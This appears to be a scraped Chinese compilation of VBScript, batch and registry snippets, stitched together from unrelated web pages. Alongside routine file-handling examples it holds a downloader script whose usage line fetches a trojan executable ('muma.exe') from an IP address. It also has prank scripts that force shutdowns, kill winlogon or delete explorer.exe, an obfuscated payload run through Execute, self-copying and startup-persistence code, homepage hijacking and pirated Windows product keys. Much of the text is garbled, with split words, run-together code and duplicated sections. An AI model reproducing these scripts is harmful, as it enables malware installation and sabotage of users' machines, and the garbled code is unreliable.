vbs脚本大全
VBS脚本中文件操作FSO大全
FSO============Set fso = CreateObject("Scripting.FileSystemObject")词句必须写上,FSO 对象模型包含在 Scripting 类型库中,要访问现有驱动器、文件或文件夹,则使用 FileSystemObject 对象中的适当的"get" 方法GetDriveGetFolderGetFileSet f1 = fso.GetFile("c:\test.txt")这样就有了句柄f1对于"create"方法,可创建文件和文件夹Set File = fso.CreateFolder("C:\MyTest")File 是返回的句柄一旦有了对象的句柄,就可以访问它的属性1:所有对象的属性AtEndOfLine 属性如if file.AtEndOfLine=true ……AtEndOfLine 属性只能应用于打开用来读取(:1)的TextStream 文件,在一行末尾为trueAtEndOfStream 属性如果文件指针位于 TextStream 文件的末尾,则返回 True;如果不是,则返回False。
Attributes 属性设置或返回文件或文件夹的属性。
AvailableSpace 属性返回指定的驱动器或网络共享上,可供用户使用的空间大小。
Column 属性返回 TextStream 文件中当前字符位置的列号。
CompareMode 属性设置并返回比较模式,用于比较 Dictionary 对象中的字符串关键字。
Count 属性返回集合或 Dictionary 对象中的项目数。
DateCreated 属性返回指定的文件或文件夹的创建日期和时间。
只读。
DateLastAccessed 属性返回指定的文件或文件夹上一次被访问的日期和时间。
DateLastModified 属性返回指定的文件或文件夹上一次被修改的日期和时间。
vbs代码大全
vbs代码大全VBScript(Visual Basic Scripting Edition)是一种微软公司开发的脚本语言,它是Visual Basic的一种简化版本,用于在Windows系统上执行脚本和自动化任务。
VBScript可以用于编写各种类型的脚本,包括系统管理、网页交互、数据处理等。
在本文中,我们将介绍一些常用的VBS代码,帮助您更好地理解和应用这门语言。
首先,我们来看一段简单的VBS代码,用于在Windows系统上显示一个消息框:```vbscript。
MsgBox "Hello, World!"```。
以上代码使用MsgBox函数来显示一个消息框,其中包含"Hello, World!"这个消息。
这是一个非常简单的示例,但它展示了VBS代码的基本语法和结构。
接下来,我们将介绍一些更复杂的VBS代码示例,以便更全面地了解这门语言的特性和用法。
在VBScript中,我们可以使用条件语句来根据不同的条件执行不同的代码块。
下面是一个使用条件语句的示例:```vbscript。
Dim num。
num = InputBox("请输入一个数字,")。
If IsNumeric(num) Then。
If num > 0 Then。
MsgBox "这是一个正数。
"ElseIf num < 0 Then。
MsgBox "这是一个负数。
"Else。
MsgBox "这是零。
"End If。
Else。
MsgBox "输入无效。
"End If。
```。
以上代码首先使用InputBox函数获取用户输入的数字,然后使用条件语句判断这个数字的正负和零。
这个示例展示了VBS代码中条件语句的使用方法,以及如何处理用户输入的数据。
除了条件语句,VBScript还支持循环结构,可以重复执行特定的代码块。
vbs实例
1、VBS改写、追加文件Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加openFile.Write "Hello World!"openFile.Close2、VBS读取文件ReadAll 读取全部Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadAll)3、VBS读取文件ReadLine 读取一行Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadLine())MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错4、VBS读取文件Read 读取n个字符Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。
好玩的vbs代码
好玩的VBScript代码VBScript(Visual Basic Scripting Edition)是一种基于VB语言的脚本语言,它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。
VBScript 是一种通用的脚本语言,可以用来实现各种有趣的功能。
在本文中,我们将介绍一些好玩的VBScript代码,展示其强大的功能和娱乐价值。
1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。
该代码将在电脑屏幕上创建一个随机移动的图形,并发出奇怪的声音。
Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码,将在桌面上创建一个随机移动的图形,并且屏幕上会突然发出吓人的声音。
这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。
2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。
vbs脚本大全--其他--80Born
OK, 我们先来写一个VBScript程序热热身.
REM 输入并回显你的名字
\'使用InputBox和Msgbox函数
Dim name,msg
msg="请输入你的名字:"
name=Inputbox(msg,"名称")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢?
当你要装进去别的东西的时候必须把原有的东西拿出来. 这个"盒子"是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理,
而不是盒子. 有些语言是很依赖"盒子"里面装些什么东西, 这样才能找到合适的"盒子"(比如C语言), 但VBS给我提供的是能够自动伸缩的"魔术盒",
float a2; Dim a2 as Double
char* a3; Dim a3 as strnig
a1=14; a1=14
a2=12.23; a2=12.23
在编程中有一个有趣的运算符是"mod", 这个运算符叫做"取余运算符", 就是取得一次除法的余数, 例如
vbs编程必背50个程序
VBS编程必背50个程序什么是VBS编程?VBS,全称为Visual Basic Scripting,是一种被广泛应用于Windows系统的脚本语言。
它基于Visual Basic,但语法更加简单且易于学习和使用。
VBS可以用于编写脚本文件,实现各种任务,如自动化任务、系统管理以及图形用户界面等。
为什么要掌握VBS编程?VBS编程是一种非常有用的技能,特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。
掌握VBS编程可以帮助你提高工作效率,简化重复的任务,并增加系统管理和故障排除的能力。
下面是50个VBS编程的示例程序:1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框,显示“Hello World!”。
2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为:" & result这个程序会要求你输入两个数字,然后将它们相加并显示结果。
3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件,并依次弹出每个文件名。
4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件,并在其中写入“Hello World!”。
vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码
Next
6 检查本地管理员数目
Set objNetwork = CreateObject("work")
strComputer = puterName
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
vbs程序小汇总
dim aa=10Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 10",,trueSet s = CreateObject("sapi.spvoice")while as.Speak aa = a - 1wscript.sleep 100wendCreateObject("SAPI.SpV oice").Speak "Bomb?"Set ws=WScript.CreateObject("WScript.Shell")ws.popup"大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,",10,"闪亮登场",64ws.popup"玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!",15,"farewell",64wscript.sleep 100000ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10ws.popup"正在下载windows更新……",12wscript.sleep 10000ws.popup"windows更新已下载完毕,正在安装更新……",12wscript.sleep 3000msgbox"系统检测到WINDOWS更新中携带有不明软件comcontroler.exe ,并在强行嵌入你的电脑",4132,"是否对其进行扫描?"msgbox"软件名:comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小: 1.21MB "&vbcrlf&""&vbcrlf&" 发行者:幻想丶永恒(403746401)"&vbcrlf&""&vbcrlf&" 安全状况:有病毒",vbinformationmsgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"msgbox"阻止失败,请检查防火墙是否开启"wscript.sleep 15000ws.popup"windows更新安装成功!",vbinfmation,20msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformationws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10ws.run"/403746401/infocenter"msgbox"警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformationws.popup"我再打开中国神泣官方网站",10ws.run"/index.htm"ws.popup"现在相信了吧?我再打开你的记事本给你写封英语信",20ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。
收集的一些经典的vbs脚本大全
收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。
一些很恶作剧的vbs程序代码
⼀些很恶作剧的vbs程序代码操作⽅法:把代码保存为*.VBS运⾏即可经本⼈亲⾃测试不会出⼤问题的,⼀般都是利⽤⽆限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可。
复制代码代码如下:domsgbox "hi"loop⽆限制的⽤英⽂报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌⽔太多需要重新启动计算机。
"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将⽴刻重起wow ~_^",,"你上当了!!"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114 for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么,不过加密了,⼤家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗?",vbYesNo,"提⽰")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚,蓝屏⼀下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下⾯的是删除explorer.exe,导致桌⾯没有显⽰,不过它事先帮你备份了,为同⽬录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim adoa=inputbox("请输⼊解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功,enjoy the best!"exit doelsemsgbox"密码验证失败,请输⼊解除关机密码:403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57ws.popup"(\(^o^)/~ 好啦,跟你开了个⼩⼩玩笑。
一些常用的VBS脚本
一些常用的V BS脚本、批处理和注册表2007-10-10 18:36======打开迅闪菜单的同时连接虚拟磁盘的VBS======Set WshShe ll = WScrip t.Create Objec t("WScrip t.Shell")Return = WshShe ll.Run ("c:\client\新调用.exe",0,true)Return = WshShe ll.Run ("iscsic li AddTar getPo rtal192.168.0.9 3260",0,true)Return = WshShe ll.Run ("iscsic li LoginT arget .riceca ke.iscsi:00 T * * Set WshShe ll = Nothin g======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======DIM objShe llset objShe ll=wscrip t.create Objec t("wscrip t.shell")WScrip t.Sleep(10000)iRetur n=objShe ll.Run("cmd.exe /C \\server\E\123.bat", 0, TRUE)======修改IE状态栏显示字符的注册表======Window s Regist ry Editor Versio n 5.00[HKEY_C URREN T_USE R\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones\ @="""Displa yName"="XX网吧"====== 批处理获得本机的I P和MAC地址然后进行绑定======@echo offfor /f "tokens=1* delims=:" %%i in ('ipconf ig /all^|find /i "Physic al Addres s"') do s for /f "tokens=1* delims=:" %%i in ('ipconf ig /all^|find /i "IP Addres s"') do set ip= arp -s %ip:~1% %Mac:~1%======强制刷新组策略和注册表======xp/2003命令gpupda te /force2k命令secedi t /refres hpoli cy machin e_pol icy /enforc e====== 批处理修改IE主页======@reg delete "HKEY_C URREN T_USE R\Softwa re\Micros oft\Intern et Explor er\Main" /v "StartP @reg add "HKEY_C URREN T_USE R\Softwa re\Micros oft\Intern et Explor er\Main" /v "StartPage======解除禁止下载的几种方法======VBS代码:DIM WSHSET WSH=WSCRIP T.Create Objec t("WSCRIP T.SHELL")WSH.POPUP("本程序的作用是解决无法下载的问题")WSH.Regwri te"HKCU\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones03 WSH.POPUP("现在您可以下载程序了!")JS代码:VAR WSHShe ll=WSCRIP T.CREATO BJEt("WSCRIP T.SHELL");WSHShe ll.Popup("本程序解决无法下载的问题,");WSHShe ll.RegWri te("HKCU\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\ZINF代码[Versio n]Signat ure="$CHICAG O$"[Defaul tInst all]DelReg=Del[Del]HKCU,"Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones",1803====== 屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SYSTEM\Curren tCont rolSe t\Contro l\Window s]"NoPopU psOnB oot"=dword:00000001======导入注册表不给任何提示的方法============简单三步,更改序列号解决WIND OWS XP在线升级问题======1)在〔开始〕→〔执行〕→〔Regedi t〕→〔HKEY_L OCAL_MACHI NE〕→〔SOFTWA RE〕→〔Micros 〔Window s NT〕→〔Curren tVers ion〕在〔WPAEve nts〕内将〔OOBETi mer〕的头两个数值〔FF〕2)在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕→选择第二项〔电话启动〕3)在进入下一个视窗,选择〔change produc t key〕来修改序列号及输入新的序列号,完成后点重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕时应该显示已经启KLV,VOL版用户可用序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用CM3HY-26VYW-6JRYC-X66GX-JVY2D可用DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ可用F4297-RCWJP-P482C-YY23Y-XH8W3可用HH7VV-6P3G9-82TWK-QKJJ3-MXR96可用HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT可用======去除系统面板上的远程和系统还原选项======regsvr32 /u remote pg.dllregsvr32 /u wuauen g.dll======冒险岛刷新率设置成85HZ的注册表(对玩冒险岛黑屏的兄弟有用)======Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SOFTWA RE\Wizet\MapleS tory]"ExecPa th"="E:\\Online Game\\冒险岛""EKEYUS E"=dword:00000000"DGTIDU SE"=dword:00000000"RMA"=dword:00000000"LMA"="""LCWN"="""scrFir stRun"=dword:00000000"soVide o"=dword:00000003"soBGMV ol"=dword:0000000f"soBGMM ute"=dword:00000000"soSEVo l"=dword:0000000f"soSEMu te"=dword:00000000"soScre enSho t"=dword:00000000"soMous eSpee d"=dword:0000000a"soHPFl ash"=dword:0000000a"soTrem ble"=dword:00000001"jpBtn0"=dword:00000000"jpBtn1"=dword:00000000"jpBtn2"=dword:00000000"jpBtn3"=dword:00000000"jpBtn4"=dword:00000000"jpBtn5"=dword:00000000"jpBtn6"=dword:00000000"jpBtn7"=dword:00000000"jpBtn8"=dword:00000000"scrRRa te"=dword:00000055======QQ面板上点QQ游戏无反映的解决注册表(一定是做母盘的时候没有运行过QQ游戏吧?)Window s Regist ry Editor Versio n 5.00Window s Regist ry Editor Versio n 5.00[HKEY_C URREN T_USE R\Softwa re\Tencen t\QQGame\SYS]"HallDi recto ry"="e:\\网游平台\\QQGame\\""GameDi recto ry"="e:\\网游平台\\QQGame\\"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID]"CLBVer sion"=dword:00000007[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\Inp "Thread ingMo del"="Apartm ent"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InP "Thread ingMo del"="Both"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\Interf ace\{AA21B901-1642-4AB2-9C1C-A09B2412CC89} "Versio n"="1.0"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\Interf ace\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714} "Versio n"="1.0"[HKEY_L OCAL_MACHI NE\Softwa re\Tencen t\QQGame\SYS]"HallDi recto ry"="E:\\网游平台\\QQGame\\""GameDi recto ry"="E:\\网游平台\\QQGame\\"======运行共享里的EXE不给予提示的方法======IE--Intern et 选项--安全--自定义级别--安全设置--加载应用程序和不安全文件:选择|启用|即======制作2003系统最重要的步骤:让2003象XP一样兼容游戏======修改boot.ini为:multi(0)disk(0)rdisk(0)partit ion(1)\WINDOW S="Window s Server 2003, Standa rd" /NoExec ut 此方法等同于:我的电脑--属性--高级--性能--设置--数据执行保护,选择|只为关键Wi ndows程======如果你的2003不能在线升级和打补丁,试试这个注册表======Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\Window s\Curren tVers ion]"Produc tId"="69713-640-9722366-45198"[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\Window s NT\Curren tVers ion]"Curren tBuil d"="1.511.1 () (Obsole te data - do not use)""Instal lDate"=dword:3f6c976d"Produc tName"="Micros oft Window s Server 2003""RegDon e"="""Softwa re Type"="SYSTEM""Curren tVers ion"="5.2""Curren tBuil dNumb er"="3790""BuildL ab"="3790.srv03_rtm.030324-2048""Curren tType"="Unipro cesso r Free""Produc tId"="69713-640-9722366-45198""Digita lProd uctId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,39,37,32 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,3"Licens eInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,25,20,0。
常用VBS代码
常用VBS代码1.VBS获取路径集合1.1.VBS获取系统安装路径程序代码set WshShell = WScript.CreateObject("WScript.Shell")strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")上面的代码意思是先定义这个变量是获取系统安装路径的,然后我们用"&strWinDir&"调用这个变量。
1.2.C:\Program Files路径程序代码msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")1.3.C:\Program Files\Common Files路径程序代码msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")2.给桌面添加网址快捷方式程序代码set gangzi = WScript.CreateObject("WScript.Shell")strDesktop = gangzi.SpecialFolders("Desktop")set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk") oShellLink.TargetPath = ""oShellLink.Description = "Internet Explorer"oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" oShellLink.Save3.给收藏夹添加网址程序代码Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application")Set objFolder = space(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.SelfSet objShell = WScript.CreateObject("WScript.Shell")strDesktopFld = objFolderItem.PathSet objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\小游戏网站.url") objURLShortcut.TargetPath = "/?ie"objURLShortcut.Save4.删除指定目录指定后缀文件程序代码On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")fso.DeleteFile "C:\*.vbs", TrueSet fso = Nothing上面代码为删除C盘根目录下后缀为vbs的文件5.VBS改主页程序代码Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""6.VBS加启动项程序代码Set oShell=CreateObject("Wscript.Shell")oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"7.VBS复制自己程序代码set copy1=createobject("scripting.filesystemobject")copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")复制自己到C盘的huan.vbs程序代码set copy1=createobject("scripting.filesystemobject")copy1.getfile("game.exe").copy("c:\gangzi.exe")复制本vbs目录下的game.exe文件到c盘的gangzi.exe8.VBS获取系统临时目录程序代码Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder9.就算代码出错依然继续执行程序代码On Error Resume Next10.VBS打开网址程序代码Set objShell = CreateObject("Wscript.Shell")objShell.Run("/")11.VBS发送邮件程序代码NameSpace = "/cdo/configuration/"Set Email = CreateObject("CDO.Message")Email.From = "发件@"Email.To = "收件@"Email.Subject = "Test sendmail.vbs"Email.Textbody = "OK!"Email.AddAttachment "C:\1.txt"With Email.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com".Item(NameSpace&"smtpserverport") = 25.Item(NameSpace&"smtpauthenticate") = 1.Item(NameSpace&"sendusername") = "发件人用户名".Item(NameSpace&"sendpassword") = "发件人密码".UpdateEnd WithEmail.Send12.VBS结束进程程序代码strComputer = "."Set objWMIService = GetObject _("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _("Select * from Win32_Process Where Name = 'Rar.exe'")For Each objProcess in colProcessListobjProcess.Terminate()Next13.VBS隐藏打开网址13.1.部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用程序代码createObject("wscript.shell").run "iexplore /",013.2.兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。
vbs脚本看懂了就成才了!!vbs代码命令集合大全
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意,包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
eg:
Set wso = CreateObject("Wscript.Shell")
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1"
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1","0"
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user")
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟,请高手指点)
wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+
常用VBS代码
常用VBS代码1.VBS获取路径集合1.1.VBS获取系统安装路径程序代码set WshShell = WScript.CreateObject("WScript.Shell")strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")上面的代码意思是先定义这个变量是获取系统安装路径的,然后我们用"&strWinDir&"调用这个变量。
1.2.C:\Program Files路径程序代码msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")1.3.C:\Program Files\Common Files路径程序代码msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")2.给桌面添加网址快捷方式程序代码set gangzi = WScript.CreateObject("WScript.Shell")strDesktop = gangzi.SpecialFolders("Desktop")set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk") oShellLink.TargetPath = ""oShellLink.Description = "Internet Explorer"oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" oShellLink.Save3.给收藏夹添加网址程序代码Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application")Set objFolder = space(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.SelfSet objShell = WScript.CreateObject("WScript.Shell")strDesktopFld = objFolderItem.PathSet objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\小游戏网站.url") objURLShortcut.TargetPath = "/?ie"objURLShortcut.Save4.删除指定目录指定后缀文件程序代码On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")fso.DeleteFile "C:\*.vbs", TrueSet fso = Nothing上面代码为删除C盘根目录下后缀为vbs的文件5.VBS改主页程序代码Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""6.VBS加启动项程序代码Set oShell=CreateObject("Wscript.Shell")oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"7.VBS复制自己程序代码set copy1=createobject("scripting.filesystemobject")copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")复制自己到C盘的huan.vbs程序代码set copy1=createobject("scripting.filesystemobject")copy1.getfile("game.exe").copy("c:\gangzi.exe")复制本vbs目录下的game.exe文件到c盘的gangzi.exe8.VBS获取系统临时目录程序代码Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder9.就算代码出错依然继续执行程序代码On Error Resume Next10.VBS打开网址程序代码Set objShell = CreateObject("Wscript.Shell")objShell.Run("/")11.VBS发送邮件程序代码NameSpace = "/cdo/configuration/"Set Email = CreateObject("CDO.Message")Email.From = "发件@"Email.To = "收件@"Email.Subject = "Test sendmail.vbs"Email.Textbody = "OK!"Email.AddAttachment "C:\1.txt"With Email.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com".Item(NameSpace&"smtpserverport") = 25.Item(NameSpace&"smtpauthenticate") = 1.Item(NameSpace&"sendusername") = "发件人用户名".Item(NameSpace&"sendpassword") = "发件人密码".UpdateEnd 